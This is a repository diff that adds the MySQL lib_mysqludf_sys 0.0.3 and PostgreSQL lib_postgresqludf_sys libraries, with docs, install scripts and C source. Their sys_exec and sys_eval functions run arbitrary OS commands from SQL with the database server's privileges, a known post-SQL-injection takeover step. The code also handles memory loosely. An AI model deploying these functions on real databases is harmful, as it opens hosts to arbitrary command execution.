(datawarehouse staging areas could be a case in example).
|
||||
</p>
|
||||
<p>
|
||||
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
</p>
|
||||
<p>
|
||||
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||
</p>
|
||||
<a name="sys_get"></a><h2>sys_get</h2>
|
||||
<p>
|
||||
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||
</p>
|
||||
<h3>Syntax</h3>
|
||||
<pre>sys_get([<b>arg1</b>)</pre>
|
||||
<h3>Parameters and Return Values</h3>
|
||||
<dl>
|
||||
<dt><code><b>arg1</b></code></dt>
|
||||
<dd>
|
||||
A string that denotes the name of an environment value.
|
||||
</dd>
|
||||
<dt>returns</dt>
|
||||
<dd>
|
||||
If the variable exists, a string containing the value of the environment variable.
|
||||
If the variable does not exist, the function return NULL.
|
||||
</dd>
|
||||
</dl>
|
||||
<h3>Installation</h3>
|
||||
<p>
|
||||
Place the shared library binary in an appropriate location.
|
||||
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||
Then, create the function using the following DDL statement:
|
||||
</p>
|
||||
<pre>
|
||||
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||
</pre>
|
||||
<p>
|
||||
The function will be globally available in all databases.
|
||||
</p>
|
||||
<p>
|
||||
The deinstall the function, run the following statement:
|
||||
</p>
|
||||
<pre>
|
||||
DROP FUNCTION sys_get;
|
||||
</pre>
|
||||
<h3>Examples</h3>
|
||||
<p>
|
||||
None yet
|
||||
</p>
|
||||
<h3>A Note of Caution</h3>
|
||||
<p>
|
||||
Be very careful in deciding whether you need this function.
|
||||
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||
The variables known in the environment where mysql runs are freely accessible using this function.
|
||||
Any user can get access to potentially secret information, such as
|
||||
the user that is running mysqld, the path of the user's home directory etc.
|
||||
</p>
|
||||
<p>
|
||||
The function is intended for specialized MySQL applications where one needs extended
|
||||
control over the operating system.
|
||||
</p>
|
||||
<p>
|
||||
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
</p>
|
||||
<a name="sys_set"></a><h2>sys_set</h2>
|
||||
<p>
|
||||
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||
</p>
|
||||
<h3>Syntax</h3>
|
||||
<pre>sys_set([<b>arg1, arg2</b>)</pre>
|
||||
<h3>Parameters and Return Values</h3>
|
||||
<dl>
|
||||
<dt><code><b>arg1</b></code></dt>
|
||||
<dd>
|
||||
A string that denotes the name of an environment value.
|
||||
</dd>
|
||||
<dt><code><b>arg2</b></code></dt>
|
||||
<dd>
|
||||
An expression that contains the value that is to be assigned to the environment variable.
|
||||
</dd>
|
||||
<dt>returns</dt>
|
||||
<dd>
|
||||
0 if the assignment or creation succeed.
|
||||
non-zero otherwise.
|
||||
</dd>
|
||||
</dl>
|
||||
<h3>Installation</h3>
|
||||
<p>
|
||||
Place the shared library binary in an appropriate location.
|
||||
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||
Then, create the function using the following DDL statement:
|
||||
</p>
|
||||
<pre>
|
||||
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||
</pre>
|
||||
<p>
|
||||
The function will be globally available in all databases.
|
||||
</p>
|
||||
<p>
|
||||
The deinstall the function, run the following statement:
|
||||
</p>
|
||||
<pre>
|
||||
DROP FUNCTION sys_set;
|
||||
</pre>
|
||||
<h3>Examples</h3>
|
||||
<p>
|
||||
None yet
|
||||
</p>
|
||||
<h3>A Note of Caution</h3>
|
||||
<p>
|
||||
Be very careful in deciding whether you need this function.
|
||||
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||
This function will overwrite existing environment variables.
|
||||
</p>
|
||||
<p>
|
||||
The function is intended for specialized MySQL applications where one needs extended
|
||||
control over the operating system.
|
||||
</p>
|
||||
<p>
|
||||
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
</p>
|
||||
</body>
|
||||
</html
|
||||
BIN
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so
Executable file
BIN
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so
Executable file
Binary file not shown.
33
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
33
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql
Normal file
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||
DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
@@ -0,0 +1,354 @@
|
||||
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
|
||||
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
|
||||
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
|
||||
@@ -0,0 +1,43 @@
|
||||
+#!/bin/bash
|
||||
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
+# Copyright (C) 2007 Roland Bouman
|
||||
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
+# web: http://www.mysqludf.org/
|
||||
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
+#
|
||||
+# This library is free software; you can redistribute it and/or
|
||||
+# modify it under the terms of the GNU Lesser General Public
|
||||
+# License as published by the Free Software Foundation; either
|
||||
+# version 2.1 of the License, or (at your option) any later version.
|
||||
+#
|
||||
+# This library is distributed in the hope that it will be useful,
|
||||
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
+# Lesser General Public License for more details.
|
||||
+#
|
||||
+# You should have received a copy of the GNU Lesser General Public
|
||||
+# License along with this library; if not, write to the Free Software
|
||||
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
+
|
||||
+echo "Compiling the MySQL UDF"
|
||||
+make
|
||||
+
|
||||
+if test $? -ne 0; then
|
||||
+ echo "ERROR: You need libmysqlclient development software installed "
|
||||
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
+ echo "apt-get install libmysqlclient15-dev"
|
||||
+ exit 1
|
||||
+else
|
||||
+ echo "MySQL UDF compiled successfully"
|
||||
+fi
|
||||
+
|
||||
+echo -e "\nPlease provide your MySQL root password"
|
||||
+
|
||||
+mysql -u root -p mysql < lib_mysqludf_sys.sql
|
||||
+
|
||||
+if test $? -ne 0; then
|
||||
+ echo "ERROR: unable to install the UDF"
|
||||
+ exit 1
|
||||
+else
|
||||
+ echo "MySQL UDF installed successfully"
|
||||
+fi
|
||||
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
|
||||
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
|
||||
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
|
||||
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
|
||||
@@ -1,8 +1,9 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||
- email: mysqludfs@gmail.com
|
||||
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
+ web: http://www.mysqludf.org/
|
||||
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
@@ -51,7 +52,7 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
|
||||
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
@@ -139,7 +140,7 @@
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
- * executes the argument commandstring.
|
||||
+ * executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
@@ -162,6 +163,34 @@
|
||||
, char *error
|
||||
);
|
||||
|
||||
+/**
|
||||
+ * sys_eval
|
||||
+ *
|
||||
+ * executes the argument commandstring and returns its standard output.
|
||||
+ * Beware that this can be a security hazard.
|
||||
+ */
|
||||
+DLLEXP
|
||||
+my_bool sys_eval_init(
|
||||
+ UDF_INIT *initid
|
||||
+, UDF_ARGS *args
|
||||
+, char *message
|
||||
+);
|
||||
+
|
||||
+DLLEXP
|
||||
+void sys_eval_deinit(
|
||||
+ UDF_INIT *initid
|
||||
+);
|
||||
+
|
||||
+DLLEXP
|
||||
+char* sys_eval(
|
||||
+ UDF_INIT *initid
|
||||
+, UDF_ARGS *args
|
||||
+, char* result
|
||||
+, unsigned long* length
|
||||
+, char *is_null
|
||||
+, char *error
|
||||
+);
|
||||
+
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
@@ -336,5 +365,62 @@
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
+my_bool sys_eval_init(
|
||||
+ UDF_INIT *initid
|
||||
+, UDF_ARGS *args
|
||||
+, char *message
|
||||
+){
|
||||
+ unsigned int i=0;
|
||||
+ if(args->arg_count == 1
|
||||
+ && args->arg_type[i]==STRING_RESULT){
|
||||
+ return 0;
|
||||
+ } else {
|
||||
+ strcpy(
|
||||
+ message
|
||||
+ , "Expected exactly one string type parameter"
|
||||
+ );
|
||||
+ return 1;
|
||||
+ }
|
||||
+}
|
||||
+void sys_eval_deinit(
|
||||
+ UDF_INIT *initid
|
||||
+){
|
||||
+}
|
||||
+char* sys_eval(
|
||||
+ UDF_INIT *initid
|
||||
+, UDF_ARGS *args
|
||||
+, char* result
|
||||
+, unsigned long* length
|
||||
+, char *is_null
|
||||
+, char *error
|
||||
+){
|
||||
+ FILE *pipe;
|
||||
+ char line[1024];
|
||||
+ unsigned long outlen, linelen;
|
||||
+
|
||||
+ result = malloc(1);
|
||||
+ outlen = 0;
|
||||
+
|
||||
+ pipe = popen(args->args[0], "r");
|
||||
+
|
||||
+ while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
+ linelen = strlen(line);
|
||||
+ result = realloc(result, outlen + linelen);
|
||||
+ strncpy(result + outlen, line, linelen);
|
||||
+ outlen = outlen + linelen;
|
||||
+ }
|
||||
+
|
||||
+ pclose(pipe);
|
||||
+
|
||||
+ if (!(*result) || result == NULL) {
|
||||
+ *is_null = 1;
|
||||
+ } else {
|
||||
+ result[outlen] = 0x00;
|
||||
+ *length = strlen(result);
|
||||
+ }
|
||||
+
|
||||
+ return result;
|
||||
+}
|
||||
+
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
|
||||
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
|
||||
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
|
||||
@@ -23,7 +23,8 @@
|
||||
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||
</p>
|
||||
<ol>
|
||||
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
|
||||
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
||||
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||
</ol>
|
||||
@@ -31,6 +32,72 @@
|
||||
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||
</p>
|
||||
|
||||
+
|
||||
+ <a name="sys_eval"></a><h2>sys_eval</h2>
|
||||
+ <p>
|
||||
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||
+ </p>
|
||||
+ <h3>Syntax</h3>
|
||||
+<pre>sys_eval(<b>arg1</b>)</pre>
|
||||
+ <h3>Parameters and Return Values</h3>
|
||||
+ <dl>
|
||||
+ <dt><code><b>arg1</b></code></dt>
|
||||
+ <dd>
|
||||
+ A command string valid for the current operating system or execution environment.
|
||||
+ </dd>
|
||||
+ <dt>returns</dt>
|
||||
+ <dd>
|
||||
+ Whatever output the command pushed to the standard output stream.
|
||||
+ </dd>
|
||||
+ </dl>
|
||||
+ <h3>Installation</h3>
|
||||
+ <p>
|
||||
+ Place the shared library binary in an appropriate location.
|
||||
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||
+ Then, create the function using the following DDL statement:
|
||||
+ </p>
|
||||
+ <pre>
|
||||
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||
+ </pre>
|
||||
+ <p>
|
||||
+ The function will be globally available in all databases.
|
||||
+ </p>
|
||||
+ <p>
|
||||
+ The deinstall the function, run the following statement:
|
||||
+ </p>
|
||||
+ <pre>
|
||||
+DROP FUNCTION sys_eval;
|
||||
+ </pre>
|
||||
+ <h3>Examples</h3>
|
||||
+ <p>
|
||||
+ None yet
|
||||
+ </p>
|
||||
+ <h3>A Note of Caution</h3>
|
||||
+ <p>
|
||||
+ Be very careful in deciding whether you need this function.
|
||||
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||
+ exposing the function poses a very real security hazard.
|
||||
+ </p>
|
||||
+ <p>
|
||||
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||
+ The call will be executed with the privileges of the os user that runs MySQL,
|
||||
+ so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||
+ </p>
|
||||
+ <p>
|
||||
+ The function is intended for specialized MySQL applications where one needs extended
|
||||
+ control over the operating system.
|
||||
+ Currently, we do not have UDF's for ftp, email and http,
|
||||
+ and this function can be used to implement such functionality in case it is really necessary
|
||||
+ (datawarehouse staging areas could be a case in example).
|
||||
+ </p>
|
||||
+ <p>
|
||||
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
+ </p>
|
||||
+ <p>
|
||||
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||
+ </p>
|
||||
+
|
||||
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||
<p>
|
||||
<code>sys_exec</code> takes one command string argument and executes it.
|
||||
@@ -92,6 +159,9 @@
|
||||
<p>
|
||||
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
</p>
|
||||
+ <p>
|
||||
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||
+ </p>
|
||||
<a name="sys_get"></a><h2>sys_get</h2>
|
||||
<p>
|
||||
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
|
||||
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
|
||||
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
|
||||
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
|
||||
@@ -1,30 +1,33 @@
|
||||
-/*
|
||||
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
- Copyright (C) 2007 Roland Bouman
|
||||
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||
- email: mysqludfs@gmail.com
|
||||
-
|
||||
- This library is free software; you can redistribute it and/or
|
||||
- modify it under the terms of the GNU Lesser General Public
|
||||
- License as published by the Free Software Foundation; either
|
||||
- version 2.1 of the License, or (at your option) any later version.
|
||||
-
|
||||
- This library is distributed in the hope that it will be useful,
|
||||
- but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
- Lesser General Public License for more details.
|
||||
-
|
||||
- You should have received a copy of the GNU Lesser General Public
|
||||
- License along with this library; if not, write to the Free Software
|
||||
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
+/*
|
||||
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
+ Copyright (C) 2007 Roland Bouman
|
||||
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
+ web: http://www.mysqludf.org/
|
||||
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||
+
|
||||
+ This library is free software; you can redistribute it and/or
|
||||
+ modify it under the terms of the GNU Lesser General Public
|
||||
+ License as published by the Free Software Foundation; either
|
||||
+ version 2.1 of the License, or (at your option) any later version.
|
||||
+
|
||||
+ This library is distributed in the hope that it will be useful,
|
||||
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
+ Lesser General Public License for more details.
|
||||
+
|
||||
+ You should have received a copy of the GNU Lesser General Public
|
||||
+ License along with this library; if not, write to the Free Software
|
||||
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
-drop function lib_mysqludf_sys_info;
|
||||
-drop function sys_get;
|
||||
-drop function sys_set;
|
||||
-drop function sys_exec;
|
||||
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||
+DROP FUNCTION IF EXISTS sys_get;
|
||||
+DROP FUNCTION IF EXISTS sys_set;
|
||||
+DROP FUNCTION IF EXISTS sys_exec;
|
||||
+DROP FUNCTION IF EXISTS sys_eval;
|
||||
|
||||
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
|
||||
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
|
||||
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
|
||||
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
|
||||
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
|
||||
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
|
||||
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
|
||||
@@ -1,6 +1,4 @@
|
||||
-linux: \
|
||||
- lib_mysqludf_sys.so
|
||||
+LIBDIR=/usr/lib
|
||||
|
||||
-lib_mysqludf_sys.so: \
|
||||
-
|
||||
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||
+install:
|
||||
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
|
||||
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn
|
||||
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
Binary file not shown.
4
extra/postgresqludfsys/lib_postgresqludf_sys/Makefile
Normal file
4
extra/postgresqludfsys/lib_postgresqludf_sys/Makefile
Normal file
@@ -0,0 +1,4 @@
|
||||
LIBDIR=/usr/lib
|
||||
|
||||
install:
|
||||
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so
|
||||
43
extra/postgresqludfsys/lib_postgresqludf_sys/install.sh
Executable file
43
extra/postgresqludfsys/lib_postgresqludf_sys/install.sh
Executable file
@@ -0,0 +1,43 @@
|
||||
#!/bin/bash
|
||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2009 Bernardo Damele A. G.
|
||||
# web: http://bernardodamele.blogspot.com/
|
||||
# email: bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
echo "Compiling the PostgreSQL UDF"
|
||||
make
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need postgresql-server development software installed "
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
echo "apt-get install postgresql-server-dev-8.3"
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||
|
||||
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
|
||||
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "PostgreSQL UDF installed successfully"
|
||||
fi
|
||||
@@ -0,0 +1,100 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)palloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command execution: %s", command);
|
||||
*/
|
||||
|
||||
result = system(command);
|
||||
pfree(command);
|
||||
|
||||
PG_FREE_IF_COPY(argv0, 0);
|
||||
PG_RETURN_INT32(result);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_eval);
|
||||
Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char line[1024];
|
||||
int32 outlen, linelen;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
command = (char *)palloc(argv0_size + 1);
|
||||
|
||||
memcpy(command, VARDATA(argv0), argv0_size);
|
||||
command[argv0_size] = '\0';
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
result = malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (*result) {
|
||||
result[outlen] = 0x00;
|
||||
}
|
||||
|
||||
result_text = (text *)palloc(VARHDRSZ + strlen(result));
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
BIN
extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so
Executable file
BIN
extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so
Executable file
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
